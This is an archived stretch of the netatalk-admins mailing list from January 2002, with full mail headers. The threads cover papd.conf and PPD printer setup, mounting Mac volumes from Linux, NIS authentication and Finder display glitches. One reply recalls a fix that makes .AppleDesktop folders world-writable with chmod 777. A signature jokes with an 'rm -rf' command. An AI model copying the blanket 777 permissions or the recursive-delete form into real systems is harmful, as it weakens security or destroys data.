# apsfilter setup Sun Dec  9 20:28:09 CET 2001
#
#
ascii|lp1|cdjmono-letter-ascii-mono|cdjmono ascii mono:\
    :lp=/dev/lp0:\
    :sd=/var/spool/lpd/cdjmono-letter-ascii-mono:\
    :lf=/var/spool/lpd/cdjmono-letter-ascii-mono/log:\
    :af=/var/spool/lpd/cdjmono-letter-ascii-mono/acct:\
    :if=/var/lib/apsfilter/filter/aps-cdjmono-letter-ascii-mono:\
    :mx#0:\
    :sh:
#
lp|lp2|cdjmono-letter-auto-mono|cdjmono auto mono:\
    :lp=/dev/lp0:\
    :sd=/var/spool/lpd/cdjmono-letter-auto-mono:\
    :lf=/var/spool/lpd/cdjmono-letter-auto-mono/log:\
    :af=/var/spool/lpd/cdjmono-letter-auto-mono/acct:\
    :if=/var/lib/apsfilter/filter/aps-cdjmono-letter-auto-mono:\
    :mx#0:\
    :sh:
#
raw|lp3|cdjmono-letter-raw|cdjmono auto raw:\
    :lp=/dev/lp0:\
    :sd=/var/spool/lpd/cdjmono-raw:\
    :lf=/var/spool/lpd/cdjmono-raw/log:\
    :af=/var/spool/lpd/cdjmono-raw/acct:\
    :if=/var/lib/apsfilter/filter/aps-cdjmono-letter-raw:\
    :mx#0:\
    :sh:


Please help me to resolve it.
Thanks,
Renato


From netatalk.administrators-errors@umich.edu  Thu Jan 10 02:53:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA15009
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 02:53:14 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA16225
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 02:53:14 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA16219
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 02:53:13 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA16182
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 02:53:12 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA09101
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 09:18:15 +0100
Message-Id: <200201100818.JAA09101@users.phg-online.de>
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 10 Jan 2002 08:52:56 +0100
Subject: Re: OS9-iMAC and netatalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Renato BARRIOS <renato.barrios@wanadoo.fr>
In-Reply-To: <B863003B.15C6%renato.barrios@wanadoo.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Resent-To: Renato BARRIOS <renato.barrios@wanadoo.fr>
Resent-From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Resent-Date: Thu, 10 Jan 2002 08:53:13 +0100
Resent-Message-ID: <B86306E8.1778D%Thomas.Kaiser@phg-online.de>

On Thu, 10 Jan 2002 08:24:28 +0100, Renato BARRIOS wrote:

Have you read the "PPD's Q..." thread?

> I tried it with and without papd.conf

You better do it with papd.conf...

> I tried to use a Hewlett Packard Deskjet 540 but also a Cannon BJ 4200 that
> run well with aps2filter in my debian and I can print with Ghostview,
> mozilla and simple lpr command.

That's good.

> Please help me to resolve it.

What error messages appear in /var/log/messages when you try to print?

Try this in your papd.conf

Deskjet 540:\
    :pr=lp:op=lp\
    :pd=[path to a correct PPD for this printer]:

As your DeskJet is not a native PS printer, there won't be PPDs on the Adobe
site for it. So you should give the PPDs from the CUPS project a chance. For
example this one (the basic features will be comparable):
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/lpr/ppds/hp/Attic/HP_DeskJet
_600C_Series.ppd>

Please note: If you use LPRng, then you should replace ":pr=lp:" with
":pr=|/usr/bin/lpr -Plp:".

It seems that the format of papd.conf is a bit difficult. You must indent
the following lines of each entry.

For both problems see http://www.rodsbooks.com/network/network-netatalk.html

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jan 10 04:36:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA18053
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 04:36:26 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA06053
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 04:36:26 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA06045
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 04:36:26 -0500 (EST)
Received: from mail.shanghai.fr ([194.133.125.136])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA05997
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 04:36:22 -0500 (EST)
Received: from sebastien (localhost.localdomain [127.0.0.1])
	by mail.shanghai.fr (Postfix) with SMTP id 6ABEEC8BB
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 11:36:04 +0100 (CET)
From: =?iso-8859-1?Q?S=E9bastien_CRAMATTE?= <s.cramatte@shanghai.fr>
To: <netatalk-admins@umich.edu>
Subject: How can I mount remote macintosh file system on my Linux+Netatalk Box
Date: Thu, 10 Jan 2002 10:38:39 +0100
Message-ID: <GPEDKJKOCJLPPDDAPACOIECHCEAA.s.cramatte@shanghai.fr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: High
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de>

Hi,

Does anyone could tell me how can I mount remote macintosh file system on my
Linux+Netatalk Box.
I've got a DAT backup device installed on my Linux box and I need to get
files directly from Macintosh (MAC-OS 8.x,9.x) Workstation

This the UNAME of my Server Box : Linux fileserver 2.4.3-20mdk
The version of installed on is netatalk-1.5pre6-1mdk

Thanks for you help

Bye

Sébastien





From netatalk.administrators-errors@umich.edu  Thu Jan 10 08:41:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA25234
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 08:41:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA15527
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 08:41:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA15501
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 08:41:15 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA15444
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 08:41:13 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Thu, 10 Jan 2002 08:41:13 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100309b863479f61c1@[192.168.42.39]>
In-Reply-To: <v03102807b85a39f9c7ed@[172.20.192.150]>
References: <v03102807b85a39f9c7ed@[172.20.192.150]>
Date: Thu, 10 Jan 2002 08:40:24 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: File Copy issues
Content-Type: text/plain; charset="us-ascii"

>>I am trying to copy large folders to my Red Hat linux box running
>>Netatalk.  They are mostly graphic files with in folders and go many
>>folders deep.  What happens is when I copy the folder, which may be a gig
>>in size everything works until it gets to a file that it can not copy,
>>such as a tif.  The problem usually happens with .tiff or .mpeg files and
>>is quote annoying.  If I copy these files one at a time to a different
>>folder then copy them into the folder that I originally tried everything
>>works.

just to reiterate another poster, the problem is not the file itself that you are copying, but in the .AppleDouble or .AppleDesktop folder at the root of the filesystem you are writing to.

there was a fix around here somewhere on the list that described a way to get around the problem, but after having applied it, i promptly forgot where i found it. it involved creating a bunch of empty folders in .AppleDesktop named A...Z and a...z and 0...9 - something to do with creator codes and icons. then set all those read/write via chmod to mode 777

the permissions break down when the files you're copying need custom icons or generic program icons not already on the netatalk system, so it tries to write them to the invisible .AppleDesktop folder for future use (i.e. displaying those files in the finder with proper icons) but the client machine doesn't have write permissions to .AppleDesktop.. thus the error. which happened while writing your TIFF or MPEG files, that have the icon stored in the resource fork, so it misleadingy says you don't have permission to write that file...

at least that's what i recall. hope that helps

From netatalk.administrators-errors@umich.edu  Thu Jan 10 09:00:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA25921
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 09:00:14 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04582
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 09:00:14 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04571
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 09:00:14 -0500 (EST)
Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04559
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 09:00:13 -0500 (EST)
Received: from fwd01.sul.t-online.de 
	by mailout09.sul.t-online.de with smtp 
	id 16Ofka-00011R-07; Thu, 10 Jan 2002 15:00:12 +0100
Received: from server.linau.de (320064501249-0002@[217.4.65.22]) by fmrl01.sul.t-online.com
	with esmtp id 16OfkW-0apS7sC; Thu, 10 Jan 2002 15:00:08 +0100
Received: from [192.168.2.2] (helo=[192.168.2.2])
	by server.linau.de with esmtp (Exim 3.31 #1 (Debian))
	id 16OdIj-0005Qs-00
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 12:23:17 +0100
Mime-Version: 1.0
Message-Id: <p04310101b863278c4a0c@[192.168.2.2]>
In-Reply-To: <GPEDKJKOCJLPPDDAPACOIECHCEAA.s.cramatte@shanghai.fr>
References: <GPEDKJKOCJLPPDDAPACOIECHCEAA.s.cramatte@shanghai.fr>
X-MUA: Eudora 4.3.1 Macintosh
X-Priority: 1 (Highest)
Date: Thu, 10 Jan 2002 12:16:49 +0100
To: <netatalk-admins@umich.edu>
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: How can I mount remote macintosh file system on my
 Linux+Netatalk Box
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA25921

On 10.01.2002 (d-m-y), Sébastien CRAMATTE wrote:

>  Does anyone could tell me how can I mount remote macintosh file system on my
>  Linux+Netatalk Box.
>  I've got a DAT backup device installed on my Linux box and I need to get
>  files directly from Macintosh (MAC-OS 8.x,9.x) Workstation
>
>  This the UNAME of my Server Box : Linux fileserver 2.4.3-20mdk
>  The version of installed on is netatalk-1.5pre6-1mdk

Well - you've got netatalk nstalled. Why don't you proceed as follows?
- Use netatalk to share a Linux directory to your to-be-backupped Mac.
- Copy all the data you want to backup into this shared directory
- Backup this directory on your DAT.

IMHO mounting the Mac's volume on your Linux Server would be much 
more complicated.

Yours,
Christian
-- 
Christian Schmidt
ChriSchmiLi@gmx.de

From netatalk.administrators-errors@umich.edu  Thu Jan 10 09:30:02 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA27290
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 09:30:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA03440
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 09:30:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA03417
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 09:30:02 -0500 (EST)
Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA03382
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 09:30:00 -0500 (EST)
Received: from colonyuk.demon.co.uk ([158.152.173.186] helo=colony.com)
	by anchor-post-30.mail.demon.net with esmtp (Exim 2.12 #1)
	id 16OgDP-000KKN-0U; Thu, 10 Jan 2002 14:30:00 +0000
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Thu, 10 Jan 2002 14:21:35 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v0310280ab863530c900f@[172.20.192.150]>
In-Reply-To: <3C3CD47B.6040707@mjv.com>
References: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de>
 <3C3C80DE.6030204@mjv.com> <3C3C8640.34FEFE45@euc.de>
 <3C3C9B02.8010207@mjv.com> <a05010401b86269f8dd0d@[192.168.110.21]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 10 Jan 2002 14:21:45 +0000
To: Michael Vanecek <mike@mjv.com>, netatalk-admins@umich.edu
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: PPD's Q...

Michael Vanecek wrote:

>> ^M ???

>not sure what ^M means

^M is ctrl-M (or ASCII Carriage Return) which the Mac uses for it's line
endings, Unix/Linux uses just ^J or ASCII Line Feed, DOS/Windoze uses CR-LF
or ^J^M.

>I thought since I
>was using the Mac to print I'd get the mac PPD's. Dumb me. Microsoft
>PPD's worked fine.

The Mac and Windows PPDs are the saem except for a couple of minor points :

1) Line endings (CR-LF vs CR as above)

2) File name may be slightly different

3) The Mac version may be parcelled up with some Mac resources that make it
appear with an Icon

In general, if you take care of the line endings they are interchangeable.

Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Thu Jan 10 09:54:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA28358
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 09:54:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA01147
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 09:54:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA01131
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 09:54:19 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA00954
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 09:54:12 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA11358;
	Thu, 10 Jan 2002 16:19:07 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 10 Jan 2002 15:54:01 +0100
Subject: Re: How can I mount remote macintosh file system on my
	Linux+Netatalk Box
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: S=?ISO-8859-1?B?6Q==?=bastien CRAMATTE <s.cramatte@shanghai.fr>,
        <netatalk-admins@umich.edu>
Message-ID: <B8636998.178CE%Thomas.Kaiser@phg-online.de>
In-Reply-To: <GPEDKJKOCJLPPDDAPACOIECHCEAA.s.cramatte@shanghai.fr>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA28358

On Thu, 10 Jan 2002 10:38:39 +0100, Sébastien CRAMATTE wrote:

> Does anyone could tell me how can I mount remote macintosh file system on my
> Linux+Netatalk Box.

If you want your linux box to be an afp client, then it has nothing to do
with netatalk (only the afp server part).

Take a look at <http://www.panix.com/~dfoster/afpfs/>. But the project seems
to be dead (limited to 2.1/2.2 kernels, too) and many reported that your box
will likely crash if you use these modules.

Regards,

Thomas

BTW: MOSX has a built-in command for this purpose (/sbin/mount_afp). But
    unfortunately no tape-device drivers exist, so this isn't a solution
    either.


From netatalk.administrators-errors@umich.edu  Thu Jan 10 10:57:21 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA01097
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 10:57:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA11511
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 10:57:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA11492
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 10:57:20 -0500 (EST)
Received: from bioinformatics.msiwtb.dundee.ac.uk (bioinformatics.msiwtb.dundee.ac.uk [134.36.67.172])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA11447
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 10:57:18 -0500 (EST)
Received: (from nobody@localhost)
	by bioinformatics.msiwtb.dundee.ac.uk (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) id g0AFvHD05962;
	Thu, 10 Jan 2002 15:57:17 GMT
X-Authentication-Warning: bioinformatics.msiwtb.dundee.ac.uk: nobody set sender to dmartin@bioinformatics.msiwtb.dundee.ac.uk using -f
Received: from 134.36.67.217
        (SquirrelMail authenticated user dmartin)
        by www.bioinformatics.dundee.ac.uk with HTTP;
        Thu, 10 Jan 2002 15:57:17 -0000 (GMT)
Message-ID: <50434.134.36.67.217.1010678237.squirrel@www.bioinformatics.dundee.ac.uk>
Date: Thu, 10 Jan 2002 15:57:17 -0000 (GMT)
Subject: Netatalk wont talk to NIS with SuSE 7.3
From: "David Martin" <d.m.a.martin@dundee.ac.uk>
To: netatalk-admins@umich.edu
X-Mailer: SquirrelMail (version 1.0.6)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

I have just set up a SuSE 7.3 box with the netatalk package and NIS to a
remote box..

Netatalk works fine as long as I only log in as a local users. it fails to
authenticate against NIS complaining that it cannot find the user in the
shadow password file.

Is this diagnostic of some misconfiguration on build, ie should there be
some compile time option to set it to use both network and local authentication?

The usernames/passwords are otherwise fine..

...d




-- 
David Martin PhD
Bioinformatics Scientific Officer
Molecular Interactions and Post Genomics Centre
University of Dundee


From netatalk.administrators-errors@umich.edu  Thu Jan 10 11:45:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA04055
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 11:45:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA01362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 11:45:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA01345
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 11:45:19 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA01311
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 11:45:18 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA12015;
	Thu, 10 Jan 2002 18:10:20 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 10 Jan 2002 17:45:14 +0100
Subject: Re: Netatalk wont talk to NIS with SuSE 7.3
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: David Martin <d.m.a.martin@dundee.ac.uk>, <netatalk-admins@umich.edu>
Message-ID: <B86383A9.178F6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <50434.134.36.67.217.1010678237.squirrel@www.bioinformatics.dundee.ac.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 10 Jan 2002 15:57:17 -0000 (GMT), David Martin wrote:

> I have just set up a SuSE 7.3 box with the netatalk package

The one supplied with SuSE 7.3? If so, forget about it. It is based on
1.5pre7 and built with "--enable-cnid-db". I wouldn't call CNID itself
experimental but there are serious issues when you handle files locally on
your linux box or by other filesharing daemons like samba.

> [...]
> Is this diagnostic of some misconfiguration on build, ie should there be
> some compile time option to set it to use both network and local
> authentication?

I thought, this can be done with PAM? But I'm no expert on this...

You can take a look how this package was built by extracting the
netatalk.spec file out of the source-prm (on your CDs, or via FTP:
<ftp://ftp.suse.com/pub/suse/i386/7.3/suse/zq1/netatalk.spm>):

eg. with 'rpm2cpio netatalk.spm | cpio -iduv netatalk.spec'

(btw: does anyone know a better way to extract single files from rpm?)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jan 10 12:58:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA07341
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 12:58:31 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA06115
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 12:58:29 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA06093
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 12:58:28 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA06058
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 12:58:27 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 10 Jan 2002 12:58:08 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b863860f6fc4@[192.168.110.21]>
Date: Thu, 10 Jan 2002 12:58:07 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: OK, what do you call it when...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

... when you mount a shared directory, and expand a folder (List 
view) and the icons start jumping in and out (up and down) as if the 
server see the files, then doesn't, then does, then doesn't, and 
finally settles down? Almost like the server is rearranging the list 
a few times before it settles on how many files there really are. BTW 
- No files are missing.

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny

From netatalk.administrators-errors@umich.edu  Thu Jan 10 13:30:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA08878
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 13:30:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA01292
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 13:30:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA01275
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 13:30:06 -0500 (EST)
Received: from mail8.carolina.rr.com (fe8.southeast.rr.com [24.93.67.55])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA01108
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 13:30:01 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail8.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 10 Jan 2002 13:29:56 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b8638d40205c@[192.168.110.21]>
In-Reply-To: <1010686742.19087.63.camel@comp10574>
References: <a05010400b863860f6fc4@[192.168.110.21]>
 <1010686742.19087.63.camel@comp10574>
Date: Thu, 10 Jan 2002 13:29:55 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: OK, what do you call it when...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>	We call that "jumping icons". :-D What version of Netatalk?


Bwaaaaa Haaaa Haaa Haa haha he heh hhh  hh hz zzzzzzzzzzzz.....%-}

Actually netatalk-1.5pre6. It puked on pre8 and pre7. Red Hat 6.0 
<--- now that's a bigger joke!

Sound familiar? i see the same thing on a ZP100 sometimes. Resource 
fork problems?

>
>On Thu, 2002-01-10 at 12:58, Wes Yates wrote:
>>  ... when you mount a shared directory, and expand a folder (List
>>  view) and the icons start jumping in and out (up and down) as if the
>>  server see the files, then doesn't, then does, then doesn't, and
>>  finally settles down? Almost like the server is rearranging the list
>>  a few times before it settles on how many files there really are. BTW
>>  - No files are missing.
>>
>>  -Wes
>>  --
>>
>>  -Wes Yates
>>  gmac63@carolina.rr.com
>>  wesyates.homeip.net
>>
>>  "Of course, you realize this means war."
>>  -B. Bunny
>>
>>
>--
>
>Matthew Keller
>Enterprise System Analyst
>Computing & Technology Services
>Information Services Division
>State University of NY at Potsdam
>Potsdam, NY USA
>
>http://mattwork.potsdam.edu/


-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

root$ rm -rf /bin/laden

From netatalk.administrators-errors@umich.edu  Thu Jan 10 13:31:21 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA08933
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 13:31:21 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA20887
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 13:31:21 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA20874
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 13:31:21 -0500 (EST)
Received: from IMGate.wtsonline.net (imgate.wtsonline.net [63.64.122.19])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA20840
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 13:31:19 -0500 (EST)
Received: from comanchetx.com (mail.comanchetx.com [63.64.122.61])
